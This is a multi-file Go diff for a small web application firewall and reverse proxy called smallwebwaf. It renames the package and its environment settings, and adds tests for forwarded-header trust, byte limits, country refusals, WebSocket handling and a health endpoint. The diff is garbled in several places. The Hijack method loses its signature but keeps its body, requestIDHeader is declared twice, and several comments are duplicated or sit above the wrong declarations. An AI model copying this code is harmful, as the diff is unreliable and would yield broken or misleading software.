+// text, such as "50 from SWWAF_ASN_LIMIT_PERCENT", or none when both are
 // left out.
 func percentText(percent *int64, setting string) string {
 	switch {
@@ -1,48 +1,36 @@
-package rproxy
+package proxy
 import (
 	"bufio"
 	"errors"
 	"io"
 	"net"
 	"net/http"
 	"sync/atomic"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 // errResponseTooLarge ends an app's response body that is longer than
-// SWRP_MAX_RESPONSE_SIZE.
+// SWWAF_RESPONSE_MAX_BYTES.
 var errResponseTooLarge = errors.New(
-	"the response body is over SWRP_MAX_RESPONSE_SIZE")
+	"the response body is over SWWAF_RESPONSE_MAX_BYTES")
-// requestBody is the visitor's request body. rproxy first reads up to the first
+// requestBody is the client's request body on its way to the app. The
-// 64 KiB of it into held, and then, on its way to the app, the transport reads
+// transport reads it on a goroutine of its own.
 // it on a goroutine of its own.
 type requestBody struct {
-	// body is the visitor's body, ending in an *http.MaxBytesError past
+	// body is the client's body, ending in an *http.MaxBytesError past
-	// SWRP_MAX_REQUEST_SIZE.
+	// SWWAF_REQUEST_MAX_BYTES.
 	body io.ReadCloser
 	rq   *request
-	// held is the part read before the request goes to the app, which Read gives
+	// waiting is true while a Read waits for the client to send more.
 	// first.
 	held []byte
 	// waiting is true while a Read waits for the visitor to send more.
 	waiting atomic.Bool
-	// received is true once the visitor has sent the whole body.
+	// received is true once the client has sent the whole body.
 	received atomic.Bool
 	// bytes is how much of the body has been read.
 	bytes atomic.Int64
 }
-// Read reads from the visitor's body, after the part held, which has been
+// Read reads from the client's body.
 // counted already.
 func (b *requestBody) Read(p []byte) (int, error) {
 	if len(b.held) > 0 {
 		n := copy(p, b.held)
 		b.held = b.held[n:]
 		return n, nil
 	}
 	b.waiting.Store(true)
 	n, err := b.body.Read(p)
 	b.waiting.Store(false)
@@ -53,22 +41,27 @@ func (b *requestBody) Read(p []byte) (int, error) {
 	switch {
 	case errors.Is(err, io.EOF):
 		b.received.Store(true)
 		b.rq.bodyReceived()
 	case errors.As(err, &tooLarge):
-		b.rq.refuse(http.StatusRequestEntityTooLarge)
+		b.rq.refuse(refusal{
 			status: http.StatusRequestEntityTooLarge,
 			action: requestlog.ActionTooLarge,
 			limit:  "SWWAF_REQUEST_MAX_BYTES",
 		})
 	}
 	return n, err
 }
-// Close closes the visitor's body.
+// Close closes the client's body.
 func (b *requestBody) Close() error {
 	return b.body.Close()
 }
-// responseBody is the app's response body on its way to the visitor.
+// responseBody is the app's response body on its way to the client.
 type responseBody struct {
 	// body is the app's body, ending in an *http.MaxBytesError past
-	// SWRP_MAX_RESPONSE_SIZE.
+	// SWWAF_RESPONSE_MAX_BYTES.
 	body io.ReadCloser
 	rq   *request
 }
@@ -86,13 +79,20 @@ func (b *responseBody) Read(p []byte) (int, error) {
 	case errors.Is(err, io.EOF):
 		b.rq.responseReceived()
 	case errors.As(err, &tooLarge):
-		b.rq.refuse(http.StatusBadGateway)
+		b.rq.refuse(refusal{
 			status: http.StatusBadGateway,
 			action: requestlog.ActionTooLarge,
 			limit:  "SWWAF_RESPONSE_MAX_BYTES",
 		})
 		return n, errResponseTooLarge
 	case b.rq.in.Context().Err() == nil:
-		// The answer broke off, not because the visitor went away. If a time
+		// The answer broke off, not because the client went away. If a
-		// limit cut it, that refusal came first and is the one kept.
+		// timeout cut it, that refusal came first and is the one kept.
-		b.rq.refuse(http.StatusBadGateway)
+		b.rq.refuse(refusal{
 			status: http.StatusBadGateway,
 			action: requestlog.ActionUpstreamError,
 		})
 	}
 	return n, err
@@ -104,14 +104,15 @@ func (b *responseBody) Close() error {
 }
 // upgradedConn is the connection to the app once the app has switched
-// protocols, as for a WebSocket. ReverseProxy writes to it what the visitor
+// protocols, as for a WebSocket. ReverseProxy writes to it what the client
-// sends and reads from it what the app sends, on goroutines of its own, until
+// sends and reads from it what the app sends, on goroutines of its own,
-// the connection closes; it counts the bytes each way, for the report.
+// until the connection closes; it counts the bytes each way, for the byte
 // limits.
 type upgradedConn struct {
 	io.ReadWriteCloser
 	// fromApp is how many bytes the app has sent, and toApp how many the
-	// visitor has.
+	// client has.
 	fromApp atomic.Int64
 	toApp   atomic.Int64
 }
@@ -124,7 +125,7 @@ func (c *upgradedConn) Read(p []byte) (int, error) {
 	return n, err
 }
-// Write sends the app what the visitor sent.
+// Write sends the app what the client sent.
 func (c *upgradedConn) Write(p []byte) (int, error) {
 	n, err := c.ReadWriteCloser.Write(p)
 	c.toApp.Add(int64(n))
@@ -132,9 +133,9 @@ func (c *upgradedConn) Write(p []byte) (int, error) {
 	return n, err
 }
-// CloseWrite tells the app that the visitor sends no more, while what the app
+// CloseWrite tells the app that the client sends no more, while what the
-// sends still passes. ReverseProxy calls it once the visitor has stopped
+// app sends still passes. ReverseProxy calls it once the client has
-// sending, and closes the connection there if it is not supported.
+// stopped sending, and closes the connection there if it is not supported.
 func (c *upgradedConn) CloseWrite() error {
 	conn, ok := c.ReadWriteCloser.(interface{ CloseWrite() error })
 	if !ok {
@@ -144,8 +145,8 @@ func (c *upgradedConn) CloseWrite() error {
 	return conn.CloseWrite()
 }
-// limitBody returns body, cut off with an *http.MaxBytesError after maxBytes, or
+// limitBody returns body, cut off with an *http.MaxBytesError after
-// unchanged if maxBytes is zero, which is off.
+// maxBytes, or unchanged if maxBytes is zero, which is off.
 func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser {
 	if maxBytes == 0 {
 		return body
@@ -155,18 +156,19 @@ func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser {
 	return http.MaxBytesReader(nil, body, maxBytes)
 }
-// responseWriter is the response to the visitor. It notes the status and size
+// responseWriter is the response to the client. It notes the status and
-// for the log line and the report.
+// size for the log line, and the first error writing to the client.
 type responseWriter struct {
 	http.ResponseWriter
 	// status is the final status sent, or zero before one is.
 	status int
 	bytes  int64
 	err    error
 }
-// WriteHeader sends the status and headers. An informational 1xx status is
+// WriteHeader sends the status and headers. An informational 1xx status
-// passed on and the final status still comes later.
+// is passed on and the final status still comes later.
 func (w *responseWriter) WriteHeader(status int) {
 	if status >= http.StatusOK && w.status == 0 {
 		w.status = status
@@ -181,31 +183,33 @@ func (w *responseWriter) Write(p []byte) (int, error) {
 		w.status = http.StatusOK
 	}
-	n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
+	n, err := w.ResponseWriter.Write(p)
 	w.bytes += int64(n)
 	w.noteError(err)
 	return n, err
 }
-// FlushError sends what has been written so far. http.ResponseController calls
+// FlushError sends what has been written so far.
-// it, as ReverseProxy does after each write.
+// http.ResponseController calls it, as ReverseProxy does after each
 // write.
 func (w *responseWriter) FlushError() error {
-	return http.NewResponseController(w.ResponseWriter).Flush()
+	err := http.NewResponseController(w.ResponseWriter).Flush()
 	w.noteError(err)
 	return err
 }
-// Hijack takes over the connection to the visitor, which ReverseProxy does only
+// Unwrap lets http.ResponseController reach net/http's own
-// to pass on the app's 101 Switching Protocols: that is then the status sent.
+// ResponseWriter, which is how ReverseProxy takes over the connection of
-func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
+// an upgraded request.
 	conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
 	if err == nil {
 		w.status = http.StatusSwitchingProtocols
 	}
 	return conn, buffered, err
 }
 // Unwrap lets http.ResponseController reach net/http's own ResponseWriter for
 // what responseWriter does not do itself.
 func (w *responseWriter) Unwrap() http.ResponseWriter {
 	return w.ResponseWriter
 }
 // noteError keeps the first error writing to the client.
 func (w *responseWriter) noteError(err error) {
 	if w.err == nil {
 		w.err = err
 	}
 }
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"bufio"
@@ -6,7 +6,6 @@ import (
 	"net"
 	"net/http"
 	"net/netip"
 	"reflect"
 	"strconv"
 	"strings"
 	"testing"
@@ -19,13 +18,13 @@ import (
 // The byte limit settings.
 const (
-	bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
+	bytesLimitPerMinute = "SWWAF_BYTES_LIMIT_PER_MINUTE"
-	bytesLimitPerHour   = "SWW_BYTES_LIMIT_PER_HOUR"
+	bytesLimitPerHour   = "SWWAF_BYTES_LIMIT_PER_HOUR"
-	bytesLimitPerDay    = "SWW_BYTES_LIMIT_PER_DAY"
+	bytesLimitPerDay    = "SWWAF_BYTES_LIMIT_PER_DAY"
-	bytesCount          = "SWW_BYTES_COUNT"
+	bytesCount          = "SWWAF_BYTES_COUNT"
 )
-// The values of SWW_BYTES_COUNT.
+// The values of SWWAF_BYTES_COUNT.
 const (
 	countResponse = "response"
 	countRequest  = "request"
@@ -40,13 +39,15 @@ const (
 	// byteLimit is the byte limit these tests set, as a setting: a request
 	// with a body and its answer, 100 bytes, go over it.
 	byteLimit = "99"
-	// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
+	// minuteBytes is limit_hit for SWWAF_BYTES_LIMIT_PER_MINUTE.
 	minuteBytes = "minute_bytes"
 )
 func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 	t.Parallel()
 	const scraper = "192.0.2.200"
 	for _, tc := range []struct {
 		setting, window string
 		// apart is the time between the two requests, which the window
@@ -92,7 +93,7 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
 			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
-			wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+
+			wantMetric(t, s.scrape(scraper), `smallwebwaf_rate_limit_hits_total{`+
 				`instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1)
 		})
 	}
@@ -124,7 +125,7 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) {
 	// The 70 bytes passed on before the app broke off are over the limit of
 	// 50, and ban the client for an hour.
 	line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK,
-		requestlog.ActionForward)
+		requestlog.ActionUpstreamError)
 	if len(got.body) != answerBytes || line.LimitHit != minuteBytes ||
 		line.BanExpires != expires {
 		t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+
@@ -166,6 +167,39 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
 	}
 }
 func TestWebSocketPassesTheAnswerAfterTheClientStopsSending(t *testing.T) {
 	t.Parallel()
 	app := startApp(t, echoOnceTheClientStops)
 	addr, out := startProxy(t, app.URL,
 		map[string]string{trustedProxies: trustLocalhost})
 	s := &sender{t: t, addr: addr, out: out}
 	conn, reader := s.openWebSocket()
 	send(t, conn, uploadBody)
 	// The client closes its sending side and waits for the answer, which the
 	// app sends only once it has seen the client stop. smallwebwaf passes the
 	// close on to the app through CloseWrite on upgradedConn; without that,
 	// it closes both connections, and the answer is lost.
 	tcp, ok := conn.(*net.TCPConn)
 	if !ok {
 		t.Fatalf("connection is a %T, want a *net.TCPConn", conn)
 	}
 	err := tcp.CloseWrite()
 	if err != nil {
 		t.Fatalf("close the sending side: %v", err)
 	}
 	got, err := io.ReadAll(reader)
 	if err != nil || string(got) != uploadBody {
 		t.Errorf("got %q (%v), want %q", got, err, uploadBody)
 	}
 	s.closeWebSocket(conn)
 }
 func TestBytesCountSaysWhichBytesCount(t *testing.T) {
 	t.Parallel()
@@ -212,8 +246,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 	t.Parallel()
 	const (
-		allowed = "192.0.2.7"  // in SWW_ALLOW_NETS
+		allowed = "192.0.2.7"  // in SWWAF_ALLOW_NETS
-		exempt  = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
+		exempt  = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
 	)
 	s, _ := startWithAnswers(t, map[string]string{
@@ -247,6 +281,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
 func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
 	t.Parallel()
 	const off = "off"
 	s, _ := startWithAnswers(t, map[string]string{
 		bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
 	})
@@ -301,7 +337,7 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
 	}
 	got := server.Ledger.Bans(netblock)
-	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+	if len(got) != 1 || got[0] != want {
 		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
 	}
@@ -430,6 +466,28 @@ func answerAfterUpgrade(w http.ResponseWriter, _ *http.Request) {
 	}
 }
 // echoOnceTheClientStops is an app that switches protocols, as for a
 // WebSocket, reads what the client sends until the client stops sending,
 // and then sends it all back.
 func echoOnceTheClientStops(w http.ResponseWriter, _ *http.Request) {
 	conn, buffered, err := http.NewResponseController(w).Hijack()
 	if err != nil {
 		return
 	}
 	defer func() {
 		_ = conn.Close()
 	}()
 	_, _ = buffered.WriteString("HTTP/1.1 101 Switching Protocols\r\n" +
 		"Connection: Upgrade\r\nUpgrade: websocket\r\n\r\n")
 	_ = buffered.Flush()
 	received, _ := io.ReadAll(buffered)
 	_, _ = buffered.Write(received)
 	_ = buffered.Flush()
 }
 // webSocket opens a WebSocket from client to answerAfterUpgrade, sends a
 // line of bodyBytes on it, reads the answer, and closes it. It checks the
 // answer, and the log line as request does, and returns the log line.
@@ -486,7 +544,7 @@ func (s *sender) closeWebSocket(conn net.Conn) logLine {
 	_ = conn.Close()
-	line := s.out.endedLines(s.t, s.sent+1)[s.sent]
+	line := s.out.requestLines(s.t, s.sent+1)[s.sent]
 	s.sent++
 	wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward)
@@ -1,40 +1,30 @@
-package rproxy
+package proxy
 import (
 	"crypto/rand"
 	"net/http"
 	"net/netip"
 	"slices"
 	"strings"
 )
-// The headers rproxy sets on the requests it passes to the app. Go writes every
+// peerAddress is the address of the request's TCP peer, normally traefik.
 // header name in this form, as it sends it and as it receives it, so
 // X-Client-ASN arrives as X-Client-Asn, and Del removes a visitor's own whatever
 // their case; header names are not case-sensitive.
 const (
 	requestIDHeader = "X-Request-ID"
 	asnHeader       = "X-Client-Asn"
 	countryHeader   = "X-Client-Country"
 )
 // peerAddress is the address of the request's TCP peer, normally traefik, without
 // any IPv6 zone, which discriminator refuses.
 func peerAddress(r *http.Request) netip.Addr {
 	addrPort, err := netip.ParseAddrPort(r.RemoteAddr)
 	if err != nil {
 		return netip.Addr{}
 	}
-	return addrPort.Addr().Unmap().WithZone("")
+	return addrPort.Addr().Unmap()
 }
-// clientAddress works out who the visitor is. A peer outside the trusted
+// clientAddress works out who the client is. A peer outside the trusted
-// proxies is the visitor, and what it says in X-Forwarded-For is ignored. For a
+// proxies is the client, and what it says in X-Forwarded-For is ignored.
-// peer inside them, X-Forwarded-For is read from the right, and the first
+// For a peer inside them, X-Forwarded-For is read from the right, and the
-// address outside them is the visitor; if every address in it is inside, the
+// first address outside them is the client; if every address in it is
-// leftmost is, and with no header, the peer. An entry that is not an address
+// inside, the leftmost is, and with no header, the peer. An entry that is
-// ends the reading, since nothing to its left can be believed. The visitor's
+// not an address ends the reading, since nothing to its left can be
-// address never has an IPv6 zone, which discriminator refuses.
+// believed.
 func clientAddress(
 	peer netip.Addr, forwardedFor []string, trusted []netip.Prefix,
 ) netip.Addr {
@@ -50,7 +40,7 @@ func clientAddress(
 			break
 		}
-		client = addr.Unmap().WithZone("")
+		client = addr.Unmap()
 		if !isInside(client, trusted) {
 			break
 		}
@@ -59,8 +49,24 @@ func clientAddress(
 	return client
 }
-// scheme is how the visitor reached traefik, as a trusted proxy says in
+// requestIDHeader carries the request's id, from traefik and to the app.
-// X-Forwarded-Proto, or otherwise http, the only scheme rproxy serves.
+const requestIDHeader = "X-Request-ID"
 // requestID is the request's id: the one a trusted proxy sent, or a new
 // random one. A peer outside the trusted proxies did not come through
 // traefik, so the id it sends is its own claim, and is replaced.
 func requestID(r *http.Request, peerTrusted bool) string {
 	id := r.Header.Get(requestIDHeader)
 	if !peerTrusted || id == "" {
 		id = rand.Text()
 	}
 	return id
 }
 // scheme is how the client reached traefik, as a trusted proxy says in
 // X-Forwarded-Proto, or otherwise http, the only scheme smallwebwaf
 // serves.
 func scheme(r *http.Request, peerTrusted bool) string {
 	proto := r.Header.Get("X-Forwarded-Proto")
 	if !peerTrusted || proto == "" {
@@ -70,6 +76,21 @@ func scheme(r *http.Request, peerTrusted bool) string {
 	return proto
 }
 // ipv6GroupPrefix is the length of the IPv6 netblock that is one client.
 const ipv6GroupPrefix = 64
 // clientGroup is the client a request is counted toward: its IPv4
 // address, or the /64 its IPv6 address is in, since one abuser usually
 // holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
 func clientGroup(addr netip.Addr) netip.Prefix {
 	addr = addr.Unmap()
 	if addr.Is6() {
 		return netip.PrefixFrom(addr, ipv6GroupPrefix).Masked()
 	}
 	return netip.PrefixFrom(addr, addr.BitLen())
 }
 // isInside reports whether addr is in one of the netblocks.
 func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 	return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool {
@@ -78,11 +99,12 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 }
 // setForwardedHeaders sets the headers in which the app learns about the
-// visitor, so that it sees what it would see from traefik directly. A trusted
+// client, so that it sees what it would see from traefik directly. A
-// proxy's forwarded headers pass on, with the proxy's own address added to
+// trusted proxy's forwarded headers pass on, with the proxy's own address
-// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
+// added to X-Forwarded-For. Those of any other peer are its own claims and
-// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
+// are replaced: X-Forwarded-For names the peer, X-Forwarded-Host the host
-// X-Forwarded-Proto plain http, which is how it reached rproxy.
+// it asked for, and X-Forwarded-Proto plain http, which is how it reached
 // smallwebwaf.
 func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
 	forwardedFor := peer.String()
@@ -105,9 +127,9 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
 		return
 	}
-	// ReverseProxy has removed Forwarded and the three set below; these are the
+	// ReverseProxy has removed Forwarded and the three set below; these
-	// other headers in which traefik tells the app about the visitor and its
+	// are the other headers in which traefik tells the app about the
-	// request.
+	// client and its request.
 	for _, name := range []string{
 		"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
 		"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
@@ -0,0 +1,165 @@
 package proxy_test
 import (
 	"encoding/json"
 	"net/http"
 	"testing"
 )
 const (
 	// trustLocalhost trusts the address every test connects from, and a
 	// network for proxies in front of it.
 	trustLocalhost = localhost + "/32,10.0.0.0/8"
 	// appHost is the host every test asks for.
 	appHost = "app.example"
 	// client is the client's address, as a proxy names it.
 	client = "203.0.113.9"
 	// forwardedFor is the header that lists the client and its proxies,
 	// and forwardedProto the one that gives the scheme the client used.
 	forwardedFor   = "X-Forwarded-For"
 	forwardedProto = "X-Forwarded-Proto"
 	// secure is the scheme a client reached traefik with, and plain the
 	// one smallwebwaf serves.
 	secure = "https"
 	plain  = "http"
 )
 // appHeaders is what the app tells about the headers it received.
 type appHeaders struct {
 	Host           string `json:"host"`
 	ForwardedFor   string `json:"forwardedFor"`
 	ForwardedHost  string `json:"forwardedHost"`
 	ForwardedProto string `json:"forwardedProto"`
 	RealIP         string `json:"realIp"`
 }
 // clientAddressCase is a request and what smallwebwaf makes of it.
 type clientAddressCase struct {
 	name       string
 	env        map[string]string
 	header     http.Header
 	wantClient string
 	wantApp    appHeaders
 }
 func TestClientAddressAndForwardedHeaders(t *testing.T) {
 	t.Parallel()
 	for _, tc := range clientAddressCases() {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			got, line := requestWithHeaders(t, tc.env, tc.header)
 			tc.wantApp.Host = appHost
 			if got != tc.wantApp {
 				t.Errorf("app received %+v, want %+v", got, tc.wantApp)
 			}
 			if line.ClientIP != tc.wantClient || line.PeerIP != localhost {
 				t.Errorf("log line has client_ip %q and peer_ip %q, want %q and %q",
 					line.ClientIP, line.PeerIP, tc.wantClient, localhost)
 			}
 		})
 	}
 }
 // clientAddressCases are the requests TestClientAddressAndForwardedHeaders
 // sends, from 127.0.0.1, which the default trusted proxies leave out.
 func clientAddressCases() []clientAddressCase {
 	trusted := map[string]string{trustedProxies: trustLocalhost}
 	forged := http.Header{
 		forwardedFor:       {client},
 		"X-Forwarded-Host": {"forged.example"},
 		forwardedProto:     {secure},
 		"X-Real-Ip":        {client},
 	}
 	replaced := appHeaders{
 		ForwardedFor: localhost, ForwardedHost: appHost, ForwardedProto: plain,
 	}
 	return []clientAddressCase{{
 		name: "a peer outside the trusted proxies is the client, " +
 			"and its forwarded headers are replaced",
 		header: forged, wantClient: localhost, wantApp: replaced,
 	}, {
 		name:   "set but empty, the trusted proxies trust nothing",
 		env:    map[string]string{trustedProxies: ""},
 		header: forged, wantClient: localhost, wantApp: replaced,
 	}, {
 		name: "behind a trusted peer, the client is the first address " +
 			"outside the trusted proxies from the right",
 		env: trusted,
 		header: http.Header{
 			forwardedFor:       {"198.51.100.7, " + client + ", 10.0.0.2"},
 			"X-Forwarded-Host": {appHost},
 			forwardedProto:     {secure},
 			"X-Real-Ip":        {client},
 		},
 		wantClient: client,
 		wantApp: appHeaders{
 			ForwardedFor:  "198.51.100.7, " + client + ", 10.0.0.2, " + localhost,
 			ForwardedHost: appHost, ForwardedProto: secure, RealIP: client,
 		},
 	}, {
 		name:       "when every address is a trusted proxy, the leftmost is the client",
 		env:        trusted,
 		header:     http.Header{forwardedFor: {"10.0.0.5, 10.0.0.2"}},
 		wantClient: "10.0.0.5",
 		wantApp:    appHeaders{ForwardedFor: "10.0.0.5, 10.0.0.2, " + localhost},
 	}, {
 		name:       "with no header, a trusted peer is the client",
 		env:        trusted,
 		wantClient: localhost,
 		wantApp:    appHeaders{ForwardedFor: localhost},
 	}, {
 		name:       "an entry that is not an address ends the reading",
 		env:        trusted,
 		header:     http.Header{forwardedFor: {client + ", unknown, 10.0.0.2"}},
 		wantClient: "10.0.0.2",
 		wantApp: appHeaders{
 			ForwardedFor: client + ", unknown, 10.0.0.2, " + localhost,
 		},
 	}, {
 		name:       "several header lines are read as one list",
 		env:        trusted,
 		header:     http.Header{forwardedFor: {"2001:db8::7", "10.0.0.2"}},
 		wantClient: "2001:db8::7",
 		wantApp:    appHeaders{ForwardedFor: "2001:db8::7, 10.0.0.2, " + localhost},
 	}}
 }
 // requestWithHeaders sends a request for appHost with header through
 // smallwebwaf, with the settings in env, and returns the headers the app
 // received and the request's log line.
 func requestWithHeaders(
 	t *testing.T, env map[string]string, header http.Header,
 ) (appHeaders, logLine) {
 	t.Helper()
 	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
 		_ = json.NewEncoder(w).Encode(appHeaders{
 			Host:           r.Host,
 			ForwardedFor:   r.Header.Get(forwardedFor),
 			ForwardedHost:  r.Header.Get("X-Forwarded-Host"),
 			ForwardedProto: r.Header.Get(forwardedProto),
 			RealIP:         r.Header.Get("X-Real-IP"),
 		})
 	})
 	addr, out := startProxy(t, app.URL, env)
 	req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 	req.Host = appHost
 	req.Header = header.Clone()
 	answered := do(t, req)
 	var got appHeaders
 	err := json.Unmarshal(answered.body, &got)
 	if err != nil {
 		t.Fatalf("decode the app's answer %q: %v", answered.body, err)
 	}
 	return got, out.requestLine(t)
 }
@@ -1,4 +1,4 @@
-package discriminator
+package proxy
 import (
 	"slices"
@@ -7,7 +7,7 @@ import (
 // countryDenied reports whether the country lists refuse the request, by
 // the client's country as it was looked up. A client without a country,
 // or whose country cannot be found, is refused only by
-// SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
+// SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
 func (rq *request) countryDenied() bool {
 	denied := rq.h.config.DeniedCountries
 	allowed := rq.h.config.ExclusivelyAllowedCountries
@@ -1,4 +1,4 @@
-package discriminator_test
+package proxy_test
 import (
 	"encoding/json"
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
 				calls.Add(1)
 			})
 			geojsURL, _ := startGeoJS(t)
-			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
+			env := map[string]string{trustedProxies: trustLocalhost}
 			maps.Copy(env, tc.env)
 			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -65,7 +65,7 @@ func TestCountryLists(t *testing.T) {
 				req.Header.Set(forwardedFor, sent.client)
 				got := do(t, req)
-				line := out.endedLines(t, i+1)[i]
+				line := out.requestLines(t, i+1)[i]
 				if line.ASN != sent.asn || line.ASName != sent.asName ||
 					line.Country != sent.country {
 					t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
@@ -90,7 +90,7 @@ func TestCountryLists(t *testing.T) {
 	}
 }
-func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
+func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
 	t.Parallel()
 	var calls atomic.Int32
@@ -101,7 +101,6 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
 	geojsURL, _ := startGeoJS(t)
 	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
 		trustedProxies:  trustLocalhost,
 		lookupTimeout:   "1h",
 		deniedCountries: "kp",
 	})
@@ -109,9 +108,13 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
 	req.Header.Set(forwardedFor, fromKP)
 	wantStatus(t, do(t, req), http.StatusForbidden)
-	line := out.endedLine(t)
+	line := out.requestLine(t)
 	wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
 	if line.RequestBytes != 0 {
 		t.Errorf("log line has request_bytes %d, want 0", line.RequestBytes)
 	}
 	if calls.Load() != 0 {
 		t.Errorf("the app was called %d times, want none", calls.Load())
 	}
@@ -144,7 +147,6 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
 		trustedProxies:     trustLocalhost,
 		lookupTimeout:      "1h",
 		allowedCountries:   "de",
 		rateLimitPerMinute: "1",
 	})
@@ -192,7 +194,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 			geojsURL, asked := startGeoJS(t)
-			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
+			env := map[string]string{trustedProxies: trustLocalhost}
 			maps.Copy(env, tc.env)
 			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -207,7 +209,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
 				wantStatus(t, do(t, req), http.StatusOK)
-				line := out.endedLines(t, i+1)[i]
+				line := out.requestLines(t, i+1)[i]
 				wantLine(t, line, http.StatusOK, requestlog.ActionForward)
 				for _, field := range []string{"asn", "as_name", "country"} {
@@ -245,11 +247,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
 		action    string
 	}{
 		{
-			"not in SWW_ALLOW_NETS", "",
+			"not in SWWAF_ALLOW_NETS", "",
 			http.StatusForbidden, requestlog.ActionCountryDenied,
 		},
 		{
-			"in SWW_ALLOW_NETS", "10.0.0.7,fd00::/8",
+			"in SWWAF_ALLOW_NETS", "10.0.0.7,fd00::/8",
 			http.StatusOK, requestlog.ActionForward,
 		},
 	} {
@@ -278,11 +280,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
 // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
 // each in an AS of its own, and no other address. It returns its URL, and
-// what returns the addresses it has been asked about. A test that needs
+// what returns the addresses it has been asked about.
 // the stand-in to be asked or to answer sets SWW_LOOKUP_TIMEOUT to an
 // hour, whether or not a request waits for the answer: on the default, a
 // hold-up of the test process can abandon the request to the stand-in, and
 // leave the client unknown.
 func startGeoJS(t *testing.T) (string, func() []string) {
 	t.Helper()
@@ -350,7 +348,7 @@ const (
 )
 // geojsAnswer is an answer of GeoJS about one address, with the fields
-// sww reads.
+// smallwebwaf reads.
 //
 //nolint:tagliatelle // GeoJS's own names
 type geojsAnswer struct {
@@ -0,0 +1,56 @@
 package proxy_test
 import (
 	"net/http"
 	"sync/atomic"
 	"testing"
 	"sneak.berlin/go/smallwebwaf/internal/proxy"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 )
 func TestHealthEndpointIsAnsweredBeforeAnyCheck(t *testing.T) {
 	t.Parallel()
 	var calls atomic.Int32
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		calls.Add(1)
 	})
 	// With a limit of one request a minute, any request counted before
 	// the last one would have it refused.
 	addr, out := startProxy(t, app.URL, map[string]string{rateLimitPerMinute: "1"})
 	const (
 		healthChecks = 3
 		contentType  = "text/plain; charset=utf-8"
 	)
 	for range healthChecks {
 		got := get(t, addr, proxy.HealthPath)
 		wantStatus(t, got, http.StatusOK)
 		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
 			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
 				"with %q", got.body, got.header.Get("Content-Type"), contentType)
 		}
 	}
 	wantStatus(t, get(t, addr, "/"), http.StatusOK)
 	lines := out.requestLines(t, healthChecks+1)
 	for _, line := range lines[:healthChecks] {
 		wantLine(t, line, http.StatusOK, requestlog.ActionAdmin)
 		if line.ResponseContentType != contentType {
 			t.Errorf("health check's log line has response_content_type %q, "+
